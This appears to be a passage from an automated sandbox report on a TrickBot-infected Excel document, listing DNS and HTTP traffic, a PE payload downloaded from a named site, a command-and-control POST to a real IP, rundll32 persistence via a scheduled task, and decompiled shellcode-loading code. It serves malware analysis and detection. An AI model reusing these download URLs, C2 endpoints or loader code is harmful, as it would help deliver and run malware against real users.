Feb 20, 2021 02:03:50.521975994 CET	53	52197	8.8.8.8	192.168.2.22
Feb 20, 2021 02:05:29.852530956 CET	53099	53	192.168.2.22	8.8.8.8
Feb 20, 2021 02:05:29.914756060 CET	53	53099	8.8.8.8	192.168.2.22
Feb 20, 2021 02:05:29.931988001 CET	52838	53	192.168.2.22	8.8.8.8
Feb 20, 2021 02:05:29.983189106 CET	53	52838	8.8.8.8	192.168.2.22
Feb 20, 2021 02:05:32.010483980 CET	61200	53	192.168.2.22	8.8.8.8
Feb 20, 2021 02:05:32.072875977 CET	53	61200	8.8.8.8	192.168.2.22
Feb 20, 2021 02:05:32.076400995 CET	49548	53	192.168.2.22	8.8.8.8
Feb 20, 2021 02:05:32.137552977 CET	53	49548	8.8.8.8	192.168.2.22
Feb 20, 2021 02:05:35.650758028 CET	55627	53	192.168.2.22	8.8.8.8
Feb 20, 2021 02:05:35.714725971 CET	53	55627	8.8.8.8	192.168.2.22
Feb 20, 2021 02:05:35.717183113 CET	56009	53	192.168.2.22	8.8.8.8
Feb 20, 2021 02:05:35.778270006 CET	53	56009	8.8.8.8	192.168.2.22
Feb 20, 2021 02:05:35.780849934 CET	61865	53	192.168.2.22	8.8.8.8
Feb 20, 2021 02:05:35.941054106 CET	53	61865	8.8.8.8	192.168.2.22
Feb 20, 2021 02:05:35.943697929 CET	55171	53	192.168.2.22	8.8.8.8
Feb 20, 2021 02:05:36.009109020 CET	53	55171	8.8.8.8	192.168.2.22
Feb 20, 2021 02:05:36.012715101 CET	52496	53	192.168.2.22	8.8.8.8
Feb 20, 2021 02:05:36.064273119 CET	53	52496	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 20, 2021 02:03:50.464174986 CET	192.168.2.22	8.8.8.8	0x6029	Standard query (0)	www.chipmania.it	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:32.010483980 CET	192.168.2.22	8.8.8.8	0x70c0	Standard query (0)	wtfismyip.com	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:32.076400995 CET	192.168.2.22	8.8.8.8	0x4ea4	Standard query (0)	wtfismyip.com	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:35.650758028 CET	192.168.2.22	8.8.8.8	0xc414	Standard query (0)	38.52.17.84.zen.spamhaus.org	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:35.717183113 CET	192.168.2.22	8.8.8.8	0xd87a	Standard query (0)	38.52.17.84.cbl.abuseat.org	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:35.780849934 CET	192.168.2.22	8.8.8.8	0x6ac9	Standard query (0)	38.52.17.84.b.barracudacentral.org	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:35.943697929 CET	192.168.2.22	8.8.8.8	0xd43a	Standard query (0)	38.52.17.84.dnsbl-1.uceprotect.net	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:36.012715101 CET	192.168.2.22	8.8.8.8	0x7164	Standard query (0)	38.52.17.84.spam.dnsbl.sorbs.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 20, 2021 02:03:50.521975994 CET	8.8.8.8	192.168.2.22	0x6029	No error (0)	www.chipmania.it	chipmania.it		CNAME (Canonical name)	IN (0x0001)
Feb 20, 2021 02:03:50.521975994 CET	8.8.8.8	192.168.2.22	0x6029	No error (0)	chipmania.it		185.81.0.78	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:32.072875977 CET	8.8.8.8	192.168.2.22	0x70c0	No error (0)	wtfismyip.com		95.217.228.176	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:32.137552977 CET	8.8.8.8	192.168.2.22	0x4ea4	No error (0)	wtfismyip.com		95.217.228.176	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:35.714725971 CET	8.8.8.8	192.168.2.22	0xc414	Name error (3)	38.52.17.84.zen.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:35.778270006 CET	8.8.8.8	192.168.2.22	0xd87a	Name error (3)	38.52.17.84.cbl.abuseat.org	none	none	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:35.941054106 CET	8.8.8.8	192.168.2.22	0x6ac9	Name error (3)	38.52.17.84.b.barracudacentral.org	none	none	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:36.009109020 CET	8.8.8.8	192.168.2.22	0xd43a	Name error (3)	38.52.17.84.dnsbl-1.uceprotect.net	none	none	A (IP address)	IN (0x0001)
Feb 20, 2021 02:05:36.064273119 CET	8.8.8.8	192.168.2.22	0x7164	Name error (3)	38.52.17.84.spam.dnsbl.sorbs.net	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.chipmania.it

wtfismyip.com

116.68.162.92:443

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	185.81.0.78	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2021 02:03:50.604053020 CET	2	OUT	GET /mails/open.php HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.chipmania.it Connection: Keep-Alive
Feb 20, 2021 02:03:50.669842005 CET	3	IN	HTTP/1.1 200 OK Date: Sat, 20 Feb 2021 01:03:50 GMT Server: Apache Content-Disposition: attachment; filename="10.jjkes" Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Keep-Alive: timeout=1, max=100 Transfer-Encoding: chunked Content-Type: application/octet-stream Data Raw: 32 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 2a 96 79 f9 4b f8 2a f9 4b f8 2a f9 4b f8 2a a2 23 fb 2b f3 4b f8 2a a2 23 fd 2b 7e 4b f8 2a a2 23 fc 2b eb 4b f8 2a 01 3b fc 2b f6 4b f8 2a 01 3b fb 2b e8 4b f8 2a a2 23 f9 2b fc 4b f8 2a f9 4b f9 2a 9a 4b f8 2a 01 3b fd 2b d8 4b f8 2a 4e 3a f1 2b f4 4b f8 2a 4e 3a f8 2b f8 4b f8 2a 4e 3a 07 2a f8 4b f8 2a 4e 3a fa 2b f8 4b f8 2a 52 69 63 68 f9 4b f8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a4 73 2f 60 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1b 00 72 42 00 00 a4 03 00 00 00 00 00 c2 7d 41 00 00 10 00 00 00 90 42 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 46 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 8f 44 00 60 01 00 00 80 90 44 00 3c 00 00 00 00 c0 44 00 58 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 46 00 b0 11 00 00 60 81 44 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 81 44 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 42 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 df 71 42 00 00 10 00 00 00 72 42 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 18 08 02 00 00 90 42 00 00 0a 02 00 00 76 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 15 00 00 00 a0 44 00 00 0a 00 00 00 80 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 70 01 00 00 c0 44 00 00 72 01 00 00 8a 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b0 11 00 00 00 40 46 00 00 12 00 00 00 fc 45 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 1a e6 68 07 ba 91 2f 00 00 33 c9 e8 ff 3c 08 00 6a 00 ff d0 33 c0 c3 cc cc cc cc cc cc cc cc Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$yKKK#+K#+~K#+K;+K;+K#+KKK;+KN:+KN:+KN:KN:+KRichK*PELs/`!rB}AB`F@ D`D<DXp@F`DpD@BX.textqBrB `.rdataBvB@@.data8DD@.rsrcXpDrD@@.reloc@FE@Bhh/3<j3
Feb 20, 2021 02:03:50.669876099 CET	4	IN	Data Raw: b8 01 00 00 00 c2 0c 00 cc cc cc cc cc cc cc cc 55 8b ec 83 ec 10 56 8d 45 fc c7 45 fc 00 00 00 00 50 8d 45 f0 50 e8 75 71 10 00 8b 4d f0 8b 30 85 c9 74 3e 8b 55 f8 8b c1 2b d1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 77 Data Ascii: UVEEPEPuqM0t>U+rI#+w[RQiAEEEB:u"tH:Nuu3^]^]-AUVEEPEP(M0t>U+r
Feb 20, 2021 02:03:50.669924974 CET	6	IN	Data Raw: 83 c4 08 c7 45 f0 00 00 00 00 c7 45 f4 00 00 00 00 c7 45 f8 00 00 00 00 b8 1c e8 42 10 8a 08 3a 0e 75 22 84 c9 74 12 8a 48 01 3a 4e 01 75 16 83 c0 02 83 c6 02 84 c9 75 e4 33 c0 85 c0 5e 0f 95 c0 8b e5 5d c3 1b c0 83 c8 01 85 c0 5e 0f 95 c0 8b e5 Data Ascii: EEEB:u"tH:Nuu3^]^]MAUVEEPEP:M0t>U+rI#+w[RQdAEEE4B:u"tH:Nuu3^
Feb 20, 2021 02:03:50.669980049 CET	7	IN	Data Raw: 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 f7 8d 4d f3 51 8b 4d 08 e8 3d 28 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 0f 8d 4d f3 51 8b 4d 08 e8 14 28 08 00 8b 55 ec 83 c2 01 89 55 ec 8b Data Ascii: EEEEMQM=(UUEEEEMQM(UUEEEEMQM'UUEEEEMQM'UUEEEEMQM'UUEEEEMQMp'U
Feb 20, 2021 02:03:50.670006990 CET	9	IN	Data Raw: e8 1d 23 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 fb 8d 4d f3 51 8b 4d 08 e8 f4 22 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 a2 8d 4d f3 51 8b 4d 08 Data Ascii: #UUEEEEMQM"UUEEEEMQM"UUEEEEMQM"UUEEEEMQMy"UUEEEEmMQMP"UUEEEE`MQ
Feb 20, 2021 02:03:50.670056105 CET	10	IN	Data Raw: 00 00 00 00 c6 45 f3 73 8d 4d f3 51 8b 4d 08 e8 d4 1d 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 b7 8d 4d f3 51 8b 4d 08 e8 ab 1d 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec Data Ascii: EsMQMUUEEEEMQMUUEEEEdMQMUUEEEEMQMYUUEEEEMQM0UUEEEEMQMUUEE
Feb 20, 2021 02:03:50.670077085 CET	12	IN	Data Raw: 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 6b 8d 4d f3 51 8b 4d 08 e8 8b 18 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 36 8d 4d f3 51 8b 4d 08 e8 62 18 08 00 8b 55 ec 83 c2 01 Data Ascii: UEEEEkMQMUUEEEE6MQMbUUEEEEMQM9UUEEEEpMQMUUEEEE'MQMUUEEEEMQMU
Feb 20, 2021 02:03:50.670103073 CET	13	IN	Data Raw: 00 c6 45 f3 6e 8d 4d f3 51 8b 4d 08 e8 6b 13 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 8e 8d 4d f3 51 8b 4d 08 e8 42 13 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 Data Ascii: EnMQMkUUEEEEMQMBUUEEEEMQMUUEEEE-MQMUUEEEEMQMUUEEEEMQMUUEEE
Feb 20, 2021 02:03:50.670128107 CET	14	IN	Data Raw: 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 87 8d 4d f3 51 8b 4d 08 e8 22 0e 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 8d 8d 4d f3 51 8b 4d 08 e8 f9 0d 08 00 8b 55 ec 83 c2 01 89 55 ec Data Ascii: EEEEMQM"UUEEEEMQMUUEEEEMQMUUEEEE!MQMUUEEEEWMQM~UUEEEE)MQMUU
Feb 20, 2021 02:03:50.670178890 CET	16	IN	Data Raw: 08 e8 02 09 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 43 8d 4d f3 51 8b 4d 08 e8 d9 08 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 d1 8d 4d f3 51 8b 4d Data Ascii: UUEEEECMQMUUEEEEMQMUUEEEEMQMUUEEEEMQM^UUEEEE)MQM5UUEEEEkM
Feb 20, 2021 02:03:50.729948044 CET	17	IN	Data Raw: ec 00 00 00 00 c6 45 f3 ef 8d 4d f3 51 8b 4d 08 e8 b9 03 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 ec 00 00 00 00 c6 45 f3 c3 8d 4d f3 51 8b 4d 08 e8 90 03 08 00 8b 55 ec 83 c2 01 89 55 ec 8b 45 ec 83 c0 01 89 45 ec c7 45 Data Ascii: EMQMUUEEEEMQMUUEEEEMQMgUUEEEEMQM>UUEEEEMQMUUEEEEMQMUUEE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49172	95.217.228.176	80	C:\Windows\System32\wermgr.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2021 02:05:32.203285933 CET	4953	OUT	GET /text HTTP/1.1 Connection: Keep-Alive User-Agent: curl/7.71.0 Host: wtfismyip.com
Feb 20, 2021 02:05:32.267560005 CET	4953	IN	HTTP/1.1 200 OK Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: * Content-Type: text/plain Date: Sat, 20 Feb 2021 01:05:32 GMT Content-Length: 12 Data Raw: 38 34 2e 31 37 2e 35 32 2e 33 38 0a Data Ascii: 84.17.52.38
Feb 20, 2021 02:05:32.545891047 CET	4954	IN	HTTP/1.1 200 OK Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: * Content-Type: text/plain Date: Sat, 20 Feb 2021 01:05:32 GMT Content-Length: 12 Data Raw: 38 34 2e 31 37 2e 35 32 2e 33 38 0a Data Ascii: 84.17.52.38

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49176	116.68.162.92	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
Feb 20, 2021 02:05:55.532516956 CET	6133	OUT	POST /rob60/813435_W617601.8B73F080286CDBB0F9B96995D4E87F7B/83/ HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=---------FNVPIRVIEKQTDGGI Connection: Close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 116.68.162.92:443 Content-Length: 282 Cache-Control: no-cache
Feb 20, 2021 02:05:58.101294994 CET	6137	IN	HTTP/1.1 200 OK connection: close server: Cowboy date: Sat, 20 Feb 2021 01:05:56 GMT content-length: 3 Content-Type: text/plain Data Raw: 2f 31 2f Data Ascii: /1/

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 20, 2021 02:05:29.234872103 CET	193.8.194.96	443	192.168.2.22	49170	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	Sun Feb 07 20:26:06 CET 2021	Mon Feb 07 20:26:06 CET 2022	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,10-11-23-65281,23-24,0	8c4a22651d328568ec66382a84fc505f
Feb 20, 2021 02:05:40.075192928 CET	193.8.194.96	443	192.168.2.22	49173	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	Sun Feb 07 20:26:06 CET 2021	Mon Feb 07 20:26:06 CET 2022	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,10-11-23-65281,23-24,0	8c4a22651d328568ec66382a84fc505f
Feb 20, 2021 02:05:50.281522989 CET	193.8.194.96	443	192.168.2.22	49175	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	Sun Feb 07 20:26:06 CET 2021	Mon Feb 07 20:26:06 CET 2022	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,10-11-23-65281,23-24,0	8c4a22651d328568ec66382a84fc505f
Feb 20, 2021 02:05:53.685561895 CET	193.8.194.96	443	192.168.2.22	49177	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	Sun Feb 07 20:26:06 CET 2021	Mon Feb 07 20:26:06 CET 2022	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,10-11-23-65281,23-24,0	8c4a22651d328568ec66382a84fc505f
Feb 20, 2021 02:05:56.148684025 CET	193.8.194.96	443	192.168.2.22	49178	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	Sun Feb 07 20:26:06 CET 2021	Mon Feb 07 20:26:06 CET 2022	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,10-11-23-65281,23-24,0	8c4a22651d328568ec66382a84fc505f
Feb 20, 2021 02:05:59.279273987 CET	193.8.194.96	443	192.168.2.22	49179	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	CN=example.com, OU=IT Department, O=Global Security, L=London, ST=London, C=GB	Sun Feb 07 20:26:06 CET 2021	Mon Feb 07 20:26:06 CET 2022	769,49172-49171-57-51-53-47-49162-49161-56-50-10-19-5-4,10-11-23-65281,23-24,0	8c4a22651d328568ec66382a84fc505f

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2316 Parent PID: 584

General

Start time:	02:03:35
Start date:	20/02/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f330000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2524 Parent PID: 2316

General

Start time:	02:03:41
Start date:	20/02/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\BASE.BABAA,DllRegisterServer
Imagebase:	0xff2f0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2480 Parent PID: 2524

General

Start time:	02:03:41
Start date:	20/02/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 ..\BASE.BABAA,DllRegisterServer
Imagebase:	0x960000
File size:	44544 bytes
MD5 hash:	51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000004.00000002.2094061002.0000000000180000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000004.00000003.2089754481.00000000006C4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000004.00000003.2089764139.00000000006C4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000004.00000002.2094284509.0000000000690000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_TrickBot_4, Description: Yara detected Trickbot, Source: 00000004.00000002.2094761896.0000000002198000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: wermgr.exe PID: 2492 Parent PID: 2480

General

Start time:	02:03:43
Start date:	20/02/2021
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wermgr.exe
Imagebase:	0xffc90000
File size:	50688 bytes
MD5 hash:	41DF7355A5A907E2C1D7804EC028965D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: wermgr.exe PID: 2408 Parent PID: 2480

General

Start time:	02:03:43
Start date:	20/02/2021
Path:	C:\Windows\System32\wermgr.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wermgr.exe
Imagebase:	0xffc90000
File size:	50688 bytes
MD5 hash:	41DF7355A5A907E2C1D7804EC028965D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: taskeng.exe PID: 1544 Parent PID: 860

General

Start time:	02:05:29
Start date:	20/02/2021
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {DA6299CA-95CA-4E9D-8945-2CC05321254C} S-1-5-18:NT AUTHORITY\System:Service:
Imagebase:	0xfffe0000
File size:	464384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: rundll32.exe PID: 2284 Parent PID: 1544

General

Start time:	02:05:29
Start date:	20/02/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\rundll32.EXE 'C:\Users\user\AppData\Roaming\QNetMonitor7737977537\rpBASEtx.rrd',DllRegisterServer
Imagebase:	0xff2c0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 2296 Parent PID: 2408

General

Start time:	02:05:36
Start date:	20/02/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe
Imagebase:	0xff0e0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 2480 Parent PID: 2524 rundll32.exeCOMMON

Executed Functions

Function 00181030, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 90
windowtimesleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00181030() {
				_Unknown_base(*)()* _v8;
				signed int _v12;
				struct tagMSG _v40;
				long _v44;
				signed int _v48;
				long _v52;
				void* _v56;
				signed int _v60;
				void* _t37;
				void* _t41;

				_v60 = _v60 & 0x00000000;
				SetTimer(0, 0, 0x3e8, 0); // executed
				while(GetMessageA( &_v40, 0, 0, 0) != 0) {
					if(_v40.message != 0x113) {
						DispatchMessageA( &_v40);
						continue;
					} else {
					}
					break;
				}
				_v12 = _v12 & 0x00000000;
				_v48 = _v48 & 0x00000000;
				_v52 = 0x5000;
				while(_v52 > 0x1000) {
					_v52 = _v52 - 1;
				}
				_v44 = _v52;
				while(_v44 > 0x40) {
					_v44 = _v44 - 1;
				}
				do {
					_t37 = VirtualAlloc(_v12, 0x41000, _v52, _v44); // executed
					_v8 = _t37;
					if(_v8 == 0) {
						Sleep(0x1f4);
					}
				} while (_v8 == 0);
				_v48 = _v48 + 1;
				E00181000(1, _v8);
				_t41 = CreateThread(0, 0, _v8, 0, 0, 0); // executed
				_v56 = _t41;
				SetTimer(0, 0, 0xbb8, 0); // executed
				while(GetMessageA( &_v40, 0, 0, 0) != 0) {
					if(_v40.message != 0x113) {
						DispatchMessageA( &_v40);
						continue;
					} else {
					}
					break;
				}
				return 0;
			}

0x00181036
0x00181045
0x0018104b
0x00181066
0x0018106e
0x00000000
0x00000000
0x00181068
0x00000000
0x00181066
0x00181076
0x0018107a
0x0018107e
0x00181085
0x00181092
0x00181092
0x0018109a
0x0018109d
0x001810a7
0x001810a7
0x001810ac
0x001810ba
0x001810c0
0x001810c7
0x001810ce
0x001810ce
0x001810d4
0x001810de
0x001810e6
0x001810f8
0x001810fe
0x0018110c
0x00181112
0x0018112d
0x00181135
0x00000000
0x00000000
0x0018112f
0x00000000
0x0018112d
0x00181140

APIs

SetTimer.USER32(00000000,00000000,000003E8,00000000), ref: 00181045
GetMessageA.USER32 ref: 00181055
DispatchMessageA.USER32 ref: 0018106E
VirtualAlloc.KERNELBASE(00000000,00041000,00001000,00000040), ref: 001810BA
Sleep.KERNEL32(000001F4), ref: 001810CE
CreateThread.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 001810F8
SetTimer.USER32(00000000,00000000,00000BB8,00000000), ref: 0018110C
GetMessageA.USER32 ref: 0018111C
DispatchMessageA.USER32 ref: 00181135

Strings

@, xrefs: 0018109D

Memory Dump Source

Source File: 00000004.00000002.2094061002.0000000000180000.00000040.00000001.sdmp, Offset: 00180000, based on PE: true

Yara matches

Similarity

API ID: Message$DispatchTimer$AllocCreateSleepThreadVirtual
String ID: @
API String ID: 368155642-2766056989
Opcode ID: ef96d8d5181d92556191780892eeb6df0a888eb6f76fa7cb6cba49c8abbfce94
Instruction ID: db5b2a291d85a4c3f4fadc87b54f59153fbc4e21b05e7776a32b82a751fe599b
Opcode Fuzzy Hash: ef96d8d5181d92556191780892eeb6df0a888eb6f76fa7cb6cba49c8abbfce94
